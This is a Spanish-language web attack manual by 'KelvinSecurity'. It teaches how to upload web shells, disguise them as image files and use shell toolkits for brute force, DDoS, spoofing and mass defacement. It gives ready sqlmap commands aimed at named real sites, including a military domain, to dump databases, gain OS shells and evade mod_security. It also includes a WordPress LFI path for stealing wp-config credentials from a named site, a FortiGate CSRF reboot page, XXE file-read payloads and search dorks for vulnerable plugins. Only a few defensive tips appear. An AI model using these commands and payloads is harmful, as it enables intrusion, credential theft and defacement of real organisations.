https://packetstormsecurity.com/files/137439/WSO-Shell-Variant-Using-A-404.ht
ml

Listado Completo:

https://github.com/tennc/webshell
F​unciones de una web shell:

- 1N73CTION Web Shell

Las webshells son modificadas e integran nuevas funciones que puedes hacer con
los permisos desde el servidor donde esta se encuentra digamos que tenemos
1N73CTION Shell.

1N73CTION Shell tiene una barra de herramientas donde integran las siguientes
herramientas:

- Wordpress Fuerza Bruta: intentos de sesion wp-admin usuario.txt password.txt


- Joomla Fuerza Bruta: intentos de sesion administrator usuario.txt pswd.txt
- Cpanel Fuerza Bruta: :puerto Cpanel intentos user.txt pswd.txt
- Cloudflare Bypass: Scan de sub dominio para saber si trabaja con una IP Diferente
- Admin Finder: Busqueda de panel mediante diccionario con ubicaciones
- Password Hash: cracker de MD5 o u otra hash
- DDoS: Lanzar peticiones funciona mejor con una booter
- SQLi Scan: Checa si es vulnerable el parametro
- Email Spoofing: Suplanta la identidad email stmp de un servidor
- Mass Defacement: Lidera un ataque a mayor escala a gran cantidad de servidores
- Whois: checa el registro del servidor “nombre,telefono,emai,Direccion,empresa”
- CMS Detector: detecta la version y que tecnologia se esta utilizando
- MySQL: Realiza conexiones MySQL utilizando las credenciales config.php
- PHP INFO: visualiza la información basica u root del servidor
C​omo subir una web shell:

- Subir Una WebShell!

Subir una web shell es un trabajo de todos los dias del ranking de zone-h y que es
zone-h pues zone-h se encuentran los hacktivistas que se involucran en ataques
informaticos a servidores tan solo para dejar un mensaje de protesta o un simple
“Owned” es un ranking y por lo tanto subir una web shell es tan importante para
ello aunque no ganen dinero.

FORMATOS EN QUE PODEMOS ESCONDER UNA WEB SHELL:

“En algunos casos suele ser exitoso en otros casos no mucho”

Shell.php.png

Shell.php.jpg

¿Por que la esconden en ese formato?

Los hacktivistas se las ven complicado con las áreas administrativas entre ellas
modulos de galería donde puedas subir solo “Fotografias” y donde intentas subir un
formato incorrecto y este te devuelve un error “​Formato Incorrecto​” entonces por
ello utilizamos los formatos de imágenes para engañar a la plataforma y subir
nuestra web shell.
C​ode Injection:

- CODE INJECTION COMIENZO

Code Injection involucra mucho lo que tiene que ver con SQL Injection a pesar que
nuestro manual involucra el comienzo de Code Injection y Despues SQL Injection
explicare paso a paso como funciona entre Code Injection - SQL Injection a
continuación.

se puede inyectar código dentro de una barra de comentarios este puede ejecutar
código malicioso en otro caso un formulario que permite ingresar código y
visualizarla entre estos javascript de un sitio externo y Inyección HTML conocido
como involucrar HTML con una función “Re Dirección” a un script PHP externo.

Definición SQL: ​El lenguaje de consulta estructurado SQL es un lenguaje de base


de datos normalizado, utilizado por los diferentes motores de bases de datos para
realizar determinadas operaciones sobre los datos o sobre la estructura de los
mismos.

Definición SQL Injection: ​Mediante la inyección SQL un hacker puede consultar la


tabla de usuario de una base de datos e involucrar data confidencial entre ella
contraseñas y correos electrónicos en páginas de venta en línea se han visto casos
donde la tabla order o orden se vuelve viral por las tarjetas de crédito que se
extraen mediante la consulta SQL.
Anteriormente observamos como se realizaba los ataques de SQL Injection de
manual en web pentesting avanzado dejamos eso atrás y logramos automatizar el
proceso.

Claves: Rapidez, Trabajo , Habilidad, Cantidad

¿Quienes utilizan este método?

1) Carders: Extraer cantidad de usuarios propagar spam de phishing y extraer


datos de tarjetas de crédito registradas

2) Hacktivistas: con el propósito de causar fugas de datos involucrando


“Misiones” Operaciones para llamar la atención y dejar un mensaje una vez
extraído las credenciales este busca el panel administrativo hasta tener el
control del contenido.

3) Hackers de sombrero blanco: Auditar la seguridad e informar mediante un


reporte de seguridad a la empresa o usuario afectado.

4) BlackHat: vender la databases en foros y portales onion o de forma privada.


F​allo SQL Exitoso:

1) Variables GET vulnerables ejemplo (.php?user=1)


2) Campo de métodos de llamada POST
3) cabeceras bajo http
4) IP sin protección Cloudflare

Herramientas:

SQLMAP HAVIJ

La automatización ha podido disolver las medidas de seguridad de plataformas al


utilizar mod_security sqlmap es más reconocido por lograr bypassear esa barrera
havij no ha hecho se cree que dejó de ser actualizado hace mucho tiempo hoy en
día es utilizado de igual manera ya que sqlmap no ha podido estar tanto tiempo
mandado request como havij.

- SQLMAP Bypass Protección Web


COMANDOS:

Consulta Vulnerabilidad:

sqlmap.py -u
http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='
1 --dbs

Consultar DataBase:

sqlmap.py -u
http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='
1 --D NombreDataBase --tables

Consultando La Tabla Usuarios:

sqlmap.py -u
http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='
1 --D NombreDataBase -t usuarios --columns --dump

Dumpear Tabla:

sqlmap.py -u
http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='
1 --dump-all

O​s-shell Con SQLMAP:

_se pueden subir ficheros mediante SQLMAP se ha demostrado que con SQLMAP
podríamos subir archivos que nos permitan subir nuestra web shell.

opciones de subida de fichero según la extensión:

PHP
ASP
ASPX
JSP
TABLA DE COMANDOS ESPECIALES SQLMAP

# ​Enumerar bases de datos

sqlmap --dbms=mysql -u "$URL" --dbs

#​ Enumerate tables

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# ​Dump tabla de usuarios

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# ​Especificando Un Parámetro De Explotación

sqlmap --dbms=mysql -u
"http://www.mivictima.com/param1=value1&param2=value2" --dbs -p param2

# ​Especifica el parámetro a explotar en 'agradables' URIs

sqlmap --dbms=mysql -u
"http://www.mivictima.com/param1/value1*/param2/value2" --dbs

# ​Obtener OS Shell

sqlmap --dbms=mysql -u "$URL" --os-shell

# ​Obtener shell SQL

sqlmap --dbms=mysql -u "$URL" --sql-shell

# ​Consulta SQL

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM


$TABLE;"

# ​Utilizar el proxy de Tor Socks5

sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs


S​ubiendo una WebShell Con SQLMAP:

_ Mediante sqlmap subiremos la web shell ante todo ya una vez realizado la
inyección SQL y haber entrado a las bases de datos podremos aplicar el siguiente
método de SQLMAP utilizando OS Shell.

- Vulnerabirilidad ASP.NET
- integramos en los comandos sqlmap “--os-shell”

- Comando sqlmap - parámetro get vulnerable


E​xigencias:
1) La página debe ser explotable y vulnerable a SQL Injection
2) Poseer suficientes privilegios
3) Obtener La Raíz Del Servidor “FPD”

¿FPD? : Full Path Disclosure

_ Existe la posibilidad de leer un fichero bajo PHP en un servidor necesitamos La


Raíz Del Servidor.

usualmente una página basada en apache se conforman de la siguiente manera en


sus “Ramas De Configuración”.

- /includes/config.php “Datos MYSQL”


- wp-config.php

- Leyendo Fichero

DATOS A EXTRAER CONFIG:

$host="localhost"
$user="db"
$pass=""
$db=""

Inyectando Shell:

sqlmap.py -u http://www.Milw0rm.com/detalles.php?id=1 --sql-shell


sqlmap.py -u http://www.Milw0rm.com/detalles.php?id=1 --os-shell
Se deberá de forma automatizada crear un script PHP “Uploader” .

- Script PHP “Uploader”

- Uploader

S​eguridad en servidores Apache con mod_security:

- Fortaleza Al Server

Wiki​: modSecurity es un firewall de aplicaciones Web embebible que ejecuta como


módulo del servidor web Apache, provee protección contra diversos ataques hacia
aplicaciones Web y permite monitorizar tráfico HTTP, así como realizar análisis en
tiempo real sin necesidad de hacer cambios a la infraestructura existente.
​Funciones:

1) Intercepta el cuerpo de la solicitud por ejemplo, la carga útil POST


2) Intercepta, almacena y, opcionalmente, válida archivos cargados
3) Realiza automáticamente acciones anti-evasión

B​ypass mod_Security:
​Uso de los firewalls de aplicaciones web, realicé una investigación sobre todos
los Firewalls de aplicaciones web para comprobar su eficacia en la protección
contra secuencias de comandos entre sitios Ataques.

mediante el uso de “Tamper” las funciones que tiene vamos a realizar la inyección
SQL identifiquemos a “Mod_Security” a continuación:

- Respuesta al intentar consultar SQL en un parámetro vulnerable


Mod_Security

Como se trata de Mod_Security dentro de la carpeta denominada “Tamper” en


SQLMAP pondremos en uso a tamper mas “modsecurityversioned.py” .

lo cual mediante agregaremos como comando en el SQLMAP.

(- Mod_Security -)

--tamper “modsecurityzeroversioned.py” --batch

La función del script modsecurity en tamper solo funcionara con MySQL.


(- Nuestro Comando -)

sqlmap.py -u "https://www.Milw0rm.com/informacion.php?info_id=1" --dbms


"MySQL" -p "info_id" --tamper "modsecurityzeroversioned.py" --batch

La función es sencilla y ya que todo es automatizado sólo es de dejar que la


herramienta realice su parte del trabajo.

H​echos Basados En Bounty:

En un reporte Mathias Karlsson al pesar de no ser del top en bug bounty program
en hackerone llegó un reporte una vulnerabilidad “Blind SQL Injection” es afectado
el white hat primero intentó de manera manual hacer notar el error mediante la
inyección manual.

Parámetro Vulnerable:

http://www.bookfresh.com/reservations?page=1&per_page=10&total_pages=1&t
otal_entries=2&sort_by=id&order=asc&client=​(Inyeccion)
Poc: El recurso en / ​reservations no desinfecta adecuadamente la variable "client"
antes de ponerla en una sentencia MySQL. Esto resulta en una vulnerabilidad de
Inyección SQL Ciega. Podemos demostrar la vulnerabilidad haciendo que el servidor
SQL espere un tiempo antes de responder.

POC: (El sitio web pudo haber utilizado WAF)

http://www.bookfresh.com/reservations?page=1&per_page=10&total_pages=1&t
otal_entries=2&sort_by=id&order=asc&client=​'+or+benchmark(0,md5(1))=
Vulnerabilidad

SQL A CIEGAS: ​Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection,
es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una
página web, por una falla de seguridad, no se muestran mensajes de error al no
producirse resultados correctos ante una consulta a la base de datos, mostrándose
siempre el mismo contenido es decir, solo hay respuesta si el resultado es
correcto.

Comando SQLMAP utilizado por white hat:

sqlmap.py
--url="https://www.bookfresh.com/reservations?page=1&client=%27%20and%201
=1*)+limit+1%23" --technique="B" --dbms="mysql" --skip="page"
--cookie="PHPSESSID2=​363dcc2095fa6a0a8b389e7b1389b3fe​;" --sql-shell

- Por Último $ 1.500 USD. aunque este haya intentando subir una web shell
T​ime-based Blind SQL Injection:

_ Las técnicas basadas en tiempo se usan a menudo para lograr pruebas cuando
no hay otra forma de recuperar información del servidor de base de datos. Este
tipo de ataque inyecta un segmento SQL que contiene una función específica de
DBMS o consulta pesada que genera un retardo de tiempo. Dependiendo del tiempo
que se tarda en obtener la respuesta del servidor, es posible deducir algo de
información. Como se puede adivinar, este tipo de enfoque de inferencia es
particularmente útil para los ataques de inyección de SQL ciego y ciego profundo.

DBMS:

Función Spleep “Time” : Sólo disponible desde MySQL 5. Se tarda unos segundos
en el parámetro.

Función BENCHMARK “count, expr” : Ejecuta la expresión especificada varias


veces. Mediante el uso de un número grande como primer parámetro, usted será
capaz de generar un retraso.

Ataque basado en tiempo de MySQL:

Inyectar un retardo de tiempo para este DBMS es bastante sencillo.

Dado que SLEEP () y BENCHMARK () son ambas funciones, pueden integrarse en


cualquier sentencia SQL.

El ejemplo siguiente muestra cómo un hacker podría identificar si un parámetro


es vulnerable a la inyección SQL usando esta técnica una respuesta lenta
significaría que la aplicación usa una base de datos MySQL.
CONSULTA RESULTANTE CON Malicioso Sleep INYECTADO:

SELECT * FROM products WHERE id=1-SLEEP(​15​)

CONSULTA RESULTANTE CON BENCHMARK MALICIOSO INYECTADO:

SELECT * FROM products WHERE id=1-BENCHMARK(​100000000​, rand())

El atacante también puede estar interesado en extraer cierta información o al


menos verificar algunos supuestos. Como se mencionó anteriormente, esto puede
hacerse integrando el retardo de tiempo dentro de una sentencia condicional.

Una vez más, MySQL lo hace bastante fácil ya que proporciona una función ​IF ()​. El
siguiente ejemplo muestra cómo es posible combinar pruebas de inferencia con
técnicas basadas en el tiempo para verificar la versión de la base de datos
Resultados De Consulta TIME-BASED Ataque A Verificar La Versión De La Base De
Datos:

SELECT * FROM products WHERE id=1-​IF​(MID(​VERSION​(),1,1) = '5', SLEEP(​15​), 0)


Si la respuesta del servidor tarda 15 segundos o más, podemos concluir que este
servidor de base de datos está ejecutando MySQL versión 5.x. El ejemplo incluye
SLEEP ()​, pero podría adaptarse fácilmente a ​BENCHMARK () gracias a
SQL-InjectionNet por la buena explicación para encaminar este manual a un buen
entendimiento.

L​DAP Injection:

LDAP Injection es un ataque utilizado para explotar aplicaciones basadas en web


que construyen instrucciones LDAP basadas en la entrada del usuario. Cuando una
aplicación no puede desinfectar correctamente la entrada del usuario, es posible
modificar las instrucciones LDAP mediante un proxy local.
Así que LDAP significa Lightweight Directory Access Protocol y es ser Protocolo
que se utiliza para acceder a los directorios de información. por lo ¿Qué
significaría y donde se puede cumplir en la práctica .. pero digamos por ejemplo,
cuaderno para cada servidor que convierte su LDAP tiene la capacidad de acceder
a la web el contenido a través de LDAP / LDAP-dir y. ¿Por qué? En este caso, cada
usuario utilizando entradas CMU o módem cuaderno y realiza la autorización a
través radio de aquí tiene la opción de usar su nombre de usuario y contraseña
para acceder sus datos LDAP y, si es necesario, cambiarlos.

- Infraestructura LDAP Server

A​tacando LDAP:

Por lo tanto, estos consulta que se envía al supuesto LDAP tomada por las
aplicaciones de web y dárselo el problema es cuando no se filtra el contenido
(​como siempre​) que se da en el procesamiento de día y el reenvío cadena
ingresada Lo que no puede tener carbón severamente limitado y permitir la
entrada de determinadas consultas y más de la cual podemos obtener fácilmente
la información que debemos ser y así sucesivamente.
C​lases De IP Durante Una Investigación:

- Tipo de clases De IP

Durante una investigación un hacker ha dicho que encontró una vulnerabilidad en


facebook entre las direcciones IP de clase C.

- Interfaz De Inicio De Files Facebook TLC

El hacker comenzó su investigación y encontró el “File Manager” de facebook con


producto TLC que permite la transferencia de archivos al servidor el hacker a
primera vista ha decidido realizar una búsqueda sobre las vulnerabilidades de
versiones antiguas o versiones recientes pero que 0days han sido dado a público.
El hacker durante su investigación ha estado analizando como funciona ese
producto de transferencias de ficheros para la detallo:

1) interfaces de usuario basadas en web se componen principalmente de Perl y


PHP
2) Los códigos fuente PHP fueron codificadas por IonCube
3) Un montón de Perl Demonios en el fondo

Hacker: Después de una simple revisión, pensé Rapid7 ya debería haber conseguido
las vulnerabilidades más fácil. T ^ T y las vulnerabilidades que debían ser
desencadenada no eran fáciles de explotar. Por lo tanto tengo que mirar más
profundo!

Finalmente, encontré 7 vulnerabilidades, incluyendo

- Cross-site scripting x 3
- Pre-Auth inyección SQL conduce a la ejecución remota de código
- Conocido de clave secreta conduce a la ejecución remota de código
- Elevación local de privilegios x 2
- El uso de pre-autenticación de SQL Injection escribir WebShell

Después de tomar el control del servidor con éxito, lo primero es comprobar si el


entorno de servidor es amigable con usted. Para mantenerse en el servidor ya,
usted tiene que estar familiarizado con los entornos, restricciones, registros, etc y
se esfuerzan para no ser detectados.

Hay algunas restricciones en el servidor:

- Firewall de conexión de salida no está disponible, incluyendo TCP, UDP, el


puerto 53, 80 y 443
- servidor de registro del sistema remoto
- auditd registros habilitados

ahora que conocemos como fue reportado estas vulnerabilidades podemos


comenzar a entender cada una de ellas ya que pueden encontrarse en otros
servidores importantes sin mitigar.
H​ax0r Versión - Wordpress Seguridad:

Durante los inicios de wordpress ha sido víctima de defacement en caso de


wordpress solo obtendremos credenciales de administración o usuarios registrados
si esta opción se encuentra habilitada durante el uso de Wordpress la seguridad
para algunas empresas no es una opción que se encuentre en sus mentes entonces
Wordpress suele ser atacado y luego buscan estos administradores de contenido
blindar wordpress.

En wordpress hay un mayor enfoque en los “Plugins” que utiliza esta CMS.
Wordpress ha sido explotado de muchas maneras y de manera automatizada desde
una terminal a continuación:
Existe plugins donde permiten subir “Imágenes - fotografías - banners” para
catalogarla en la página web basada en wordpress los hackers encuentran puntos
vulnerables donde estos hackers han podido subir de forma “Remota” una webshell
tan sencillo como el siguiente script.

- Función Para Subir Archivo “Arbirtary File Upload”

Directorio Donde se almacenará nuestra shell: “wp-content/uploads/”

- Buscando Paginas Wordpress Vulnerables - inurl:/wp-content/


inurl:upload.php
-WebShell en el directorio “Uploads”

Por lo general siempre cuando apliquemos este tipo de métodos bajo wordpress
sabremos que siempre la “Shell” se encontrará ubicada en wp-content uploads.

xup.php - Web Shell o Uplaoder.

S​QL Injection En Wordpress:

​ a auditoría en sitios webs preferiblemente se realiza de forma manual pero como


L
sabemos que las paginas que estamos testeando no bloquea por la cantidad de
request al servidor vulnerable entonces se nos facilita utilizar otra herramienta
como havij o sqlmap.

Dorks que podemos utilizar:

inurl:/wp-content/plugins/ ext:php inurl:id


inurl:wp-content/themes/ ext:php inurl:id
En conjunto con chema alonso en el 2014 llegamos a construir un reporte
informativo sobre una vulnerabilidad de SQL Injection método “GET” que fue
explotada de forma automatizada nos permitió entrar a diferentes páginas e
incluso a la mensajería privada de gobierno de USA.

- Reporte

Paginas Vulnerables
“inurl:wp-content/plugins/scarcitybuilder/shortcode/index.php?edit=”
C​omo proteger wordpress:

Durante wordpress es de considerar que debemos actualizar la versión de


wordpress y prevenir la incorporación de plugins que tengan un “CVE” dentro del
entorno hacking las vulnerabilidades más graves se detallan entre SQLi,LFI,RFI,XXE
entre otras técnicas que podriamos demostrar antes de comenzar esta área
explicamos las medidas de tomar durante el uso de wordpress.

1) ocultar nombre de usuario público dentro del “Autor” de creacion de


articulos de wordpress
2) actualizar versión de wordpress a la más reciente aquellas versiones
incorporadas suelen ser igual de vulnerables parcheadas pero explotables.
3) Mantener una backup y ocultar los directorios de nuestro página en
Wordpress “No Almacenar Backup Dentro De algún directorio”
4) Usar plugins de seguridad e incorporar un doble factor de autenticación
5) Evitar intentos de sesión en wp-admin o wp-login es decir evitar la
ampliación de ataques de fuerza bruta

- Evitando Ataque Informatico -


L​FI Wordpress:
1) Slider Revolution LFI

​ s práctico su función y es que podemos obtener el config de wordpress donde se


E
encuentran las credenciales como por ejemplo:

- wp-config.php “Credenciales”

- Descarga Automatica del wp-config

PoC:

wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Ejemplo: “El hacker puede solicitar una backdoor por POST mediante CuRL
que se envia mediante update_plugin” “​Script​”.
https://ambtec.com.ve/wp-admin/admin-ajax.php?action=revslider_show_imag
e&img=../wp-config.php
P​roteccion Wordpress:

“Firewall WAF Cloud Security Protection”

WAF Cloud Security debe cumplir su función lo cual evita los ataques informáticos
como ataques de denegación de servicios ejecuciones de exploits a tus servidores
protección de IPs entre otros productos se pueden elegir como “Incapsula, Sucuri o
CLoudflare”.

- Bloques Ante Intentos De Ataque

- Previene -

- LFI
- RFI
- XXE
- SQLi
- XSS
- DDoS - Web Scanners Down
WIKI: ​Es una parte de un sistema o una red que está diseñada para bloquear el
acceso no autorizado, permitiendo al mismo tiempo comunicaciones autorizadas.

Se trata de un dispositivo o conjunto de dispositivos configurados para permitir,


limitar, cifrar, descifrar, el tráfico entre los diferentes ámbitos sobre la base de un
conjunto de normas y otros criterios.

Debilidades:

1 - El cortafuegos no puede proteger contra los ataques de ingeniería social.

2 -El cortafuegos no puede proteger contra los ataques posibles a la red interna
por virus informáticos a través de archivos y software. La solución real está en que
la organización debe ser consciente en instalar software antivirus en cada máquina
para protegerse de los virus que llegan por cualquier medio de almacenamiento u
otra fuente.

4 - El cortafuegos no protege de los fallos de seguridad de los servicios y protocolos


cuyo tráfico esté permitido. Hay que configurar correctamente y cuidar la
seguridad de los servicios que se publiquen en Internet.

- Producto Fortinet dentro de una entidad bancaria


- Vulnerabilidades FortiGate Firewall

CSRF: ​Debido a que muchas funciones no están protegidas por CSRF-Tokens, es


posible bajo ciertas condiciones modificar los Ajustes del Sistema, las Directivas de
Firewall o tomar el control sobre el cortafuegos del agujero.

Requerimientos:

- Un atacante necesita conocer la IP del dispositivo.


- Un administrador necesita una conexión autenticada con el dispositivo.

PoC:

Este ejemplo reiniciará un Firewall Fortigate.


Esta es sólo una de muchas posibilidades para atacar esta vulnerabilidad.
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="​https://###_VICTIM_IP_###​/system/maintenance/shutdown"
method="post">
<input type="hidden" name="reason" value="">
<input type="hidden" name="action" value="1">
<input type="submit" name="add" value="rebootme">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
XXE:

D​efinicion: Un ataque de entidad externa XML (XXE) es un tipo de vulnerabilidad


de seguridad informática que normalmente se encuentra en las aplicaciones web.
XXE permite a los atacantes divulgar archivos normalmente protegidos desde un
servidor o una red conectada. El estándar XML incluye la idea de una entidad
general externa analizada una entidad externa. Durante el análisis del documento
XML, el analizador expandirá estos vínculos e incluirá el contenido del URI en el
documento XML devuelto.

A​tacante: un atacante obliga al analizador XML para acceder al recurso


especificado por lo que podría ser un archivo en el sistema o en cualquier sistema
remoto.

Por ejemplo, el código de abajo se vendería la carpeta ​/ archivo presente en ese


sistema y mostrarlo al usuario.
E​ntidades XML:

​ ​efinicion: XML hace referencia a objetos “​ficheros, páginas web, imágenes,


D
cualquier cosa​” que no deben ser analizados sintácticamente según las reglas de
XML, mediante el uso de entidades. Se declaran en la DTD mediante el uso de
"​<!ENTITY​"

X​ml Entidades Externas:


Es una característica rica y ampliamente utilizado intercambio de información
Formato y estándar. El estándar permite definir la estructura del XML utilizando un
Declaración de tipo de documento o DTD.

La DTD proporciona un mecanismo para definir entidades Cuyos valores pueden ser
sustituidos en el contenido del documento XML. Esto es útil cuando el El valor de la
entidad se utiliza varias veces.

El XML contiene un DTD con una entidad llamada "orientación" definida. El valor de
La entidad de "orientación" se establece en "alguna orientación". Después de la
DTD están los elementos XML Que contienen una etiqueta "url" y una etiqueta de
"orientación". El valor del elemento "orientación" es "​& Orientation;​" que es el
nombre de la entidad con un signo & (&) símbolo antes y un Punto y coma (;)
después. Esto instruye al analizador XML a reemplazar "& orientation;" con la
entidad Valor definido en el DTD, es decir, "alguna orientación".
I​dentificar vulnerabilidades XXE:
La respuesta directa a esta pregunta sería identificar los puntos finales que
acepten XML como entrada. Pero a veces se encontrará con los casos en los puntos
finales que acepten XML podrían no ser tan obvio por ejemplo, los casos en que el
cliente sólo utiliza JSON para acceder al servicio. Con estos casos, un probador de
la pluma tiene que probar cosas diferentes, tales como la modificación del
métodos HTTP, Content-Type etc, para ver cómo responde la solicitud. Si la
aplicación analiza el contenido, entonces hay una posibilidad de XXE.

E​xploit: (Peticion POST)

<?xml version="1.0"?> <!DOCTYPE foo [<!ELEMENT methodName ANY ><!ENTITY


xxe SYSTEM "file:///etc/passwd" >]><methodCall>
<methodName>&xxe;</methodName></methodCall>

- Ejemplo XXE Explotación

¿Que Se Puede Hacer?

1) denegación de servicio
2) Enumeración de Archivos
3) Enumeración de Redes
4) Escanear puertos
6) Lista de Directorios
7) Exfiltración de archivos
Impacto​:

El impacto de la explotación de esta vulnerabilidad puede ser muy peligroso, ya


que permite a un atacante leer archivos sensibles presentes en el servidor, realice
ataque de denegación de servicio en el servidor, etc.

- Proceso De Explotación XXE

T​ipos de servicios web donde se dan a conocer:

XML-RPC Llamada de procedimiento remoto


XML

JSON-RPC JSON Llamada de Procedimiento


Remota RPC

SOAP Protocolo de Acceso de Objeto


Simple

REST Transferencia representativa estatal

BEPL Lengua de Ejecución de proceso


comercial

WCF Fundación de Comunicación de


Ventanas
XML-RPC Request

Descripción: ​XML-RPC es un protocolo de llamada a procedimiento remoto que usa


XML para codificar los datos y HTTP como protocolo de transmisión de mensajes.

Encontrando Un jugador en XML-RPC

- XML RPC Request

- JSON RPC Request


-
- SOAP Request

P​ractica Con OWZAP XXE:

​ WSAP tiene variedades de ejemplos que pueden ser utilizados para tratar esas
O
vulnerabilidades que poco consigues en algunos sitios en primer lugar utilizamos un
único método de explotación Denominada XXE Injection.

Como ejemplo OWSAP nos muestra un básico ejemplo de la estructura “XML”


como hemos explicando este metodo de explotacion tiene como objetivo tener
esos privilegios para ver los archivos de sistemas con los privilegios.

<somexml>​<message>​hola mundo​</message>​</somexml>
- Estructura XML

Mediante PETICIÓN POST podemos ingresar lo siguiente que se denomina LFI File
Inclusion desde XXE Injecion.

Tomar En Cuenta: “Realizar Pruebas Para Asegurarse que la entidades procesen


de forma correcta”

<!DOCTYPE person [
<!ELEMENT person ANY>
<!ENTITY person "Mr Robot">

<somexml><message>Hello World</message></somexml>

Si procesa correctamente. procesamos File Inclusion.

<!DOCTYPE person [
<!ELEMENT person ANY>
<!ENTITY fileEntity SYSTEM "​file:///ect/passwrd​">">

<somexml><message>hola mundo</message></somexml>

Como Resultado:

“​Explotación Exitosa​”
V​bulletin Automatizando El Hacking:

V​bulletin ha sido víctima de ataques de todo tipo y muchas de sus versiones por
ello se ha creado herramientas capaz de auditar por nosotros de estos ataques es
que hoy en dia existen grandes fugas de datos.

Vulnerabilidades:

FPD, SQli, LFI, XSS, Escalación de Privilegios.

Foros como ​http://forums.imore.com​ lo hemos puesto a rpeuba testeando su


seguridad con vbscan.

-​VBSCAN
- Disclosure Config

- XSS

Abrimos:

http://forums.imore.com/includes/config.php~

Datos Obtenidos:

- Credenciales Administrativas
S​ubdomain TakeOver:

U​no de los muchos hackers que se involucran en un bug bounty “Pro_Mast3r” un


usuario iraquí utiliza el método de reclamación de sub dominio en la página de
donald trump.

SubDomain TakeOver “Reclamación De Dominio” fue utilizado por este hacker y


como causa un “Defacement” a continuación explico sobre ello tomando poca
información de “detectify”.

“​17 proveedores de servicio que no se ocupan de la verificación de la


propiedad subdominio correctamente - que permiten esta vulnerabilidad
pueda ser aprovechada, Heroku, Github, Bitbucket, Squarespace, Shopify,
Escritorio, Trabajo en equipo, Unbounce, Helpjuice, HelpScout, Pingdom,
Tictail, Campaign monitor, CargoCollective, StatusPage.io y Tumblr.​”

Recomendación:

Compruebe su configuración de DNS para subdominios que apuntan a los servicios


no estén en uso.
Definiendo SubDomain TakeOver: ​Subdomain Takeover es un ataque dirigido a
subdominios de un sitio web que causa una mala configuración errónea de DNS.

Al hacer esto, el hacker puede tomar el control total de los subdominios.


Subdomain Takeover se puede hacer mediante el uso de servicios externos como
Desk, Squarespace, Shopify, Github, Tumblr y Heroku.

Esta vulnerabilidad poca pronunciada pero en algunos Blogs Y foros podrás


encontrar más detalles sin embargo para detectar esta vulnerabilidad podemos
utilizar un “SubDomain BruteForce” para enumerar la lista de sub dominios
encontrados por nuestra herramienta automatizada.

Herramientas:

DnsDumpster:

​https://dnsdumpster.com/

Sublist3r:

https://github.com/aboul3la/Sublist3r

Online Find:

https://pentest-tools.com/information-gathering/find-subdomains-of-domain

¿Por qué es peligroso?

1. Es asombrosamente fácil firmar para arriba para una nueva cuenta y demandar
el Domain Name.

2. Al tener el dominio, un atacante puede crear un clon completo del sitio, agregar
un formulario de inicio de sesión que redirigirá al usuario a una determinada
página, robar credenciales valiosas como cuentas de administrador, robar cookies
o destruir completamente la credibilidad de su empresa. .

¿Cómo prevenir este tipo de ataques?

Si ha olvidado que su subdominio está apuntado a un servicio externo que no


actualiza, sólo tiene que quitar la configuración DNS del servicio externo en su
subdominio.
C​onclusion:

White Hat

“Los métodos web pentesting son utilizados para bien y el mal todo depende de
cada individuo que lo quiera usar a sus gustos o simplemente para trabajar de
whit hat en alguna empresa (Su Misión) prevenir un ataque ”

BlackHat

“Un hacker con propósitos maligno puede utilizar estas técnicas siempre y
cuando se enfoque en su objetivo y los niveles de dificultad del servidor
problemas de seguridad como LFI, XXE ,SubDomain TakeOver son de los pocos
que se fijan los soportes técnicas en paginas de medio trafico”

​KelvinSecurity : “Conocimiento Para Un Mejor Uso”

Autor: Kelvin Parra


Venezuela. 3001.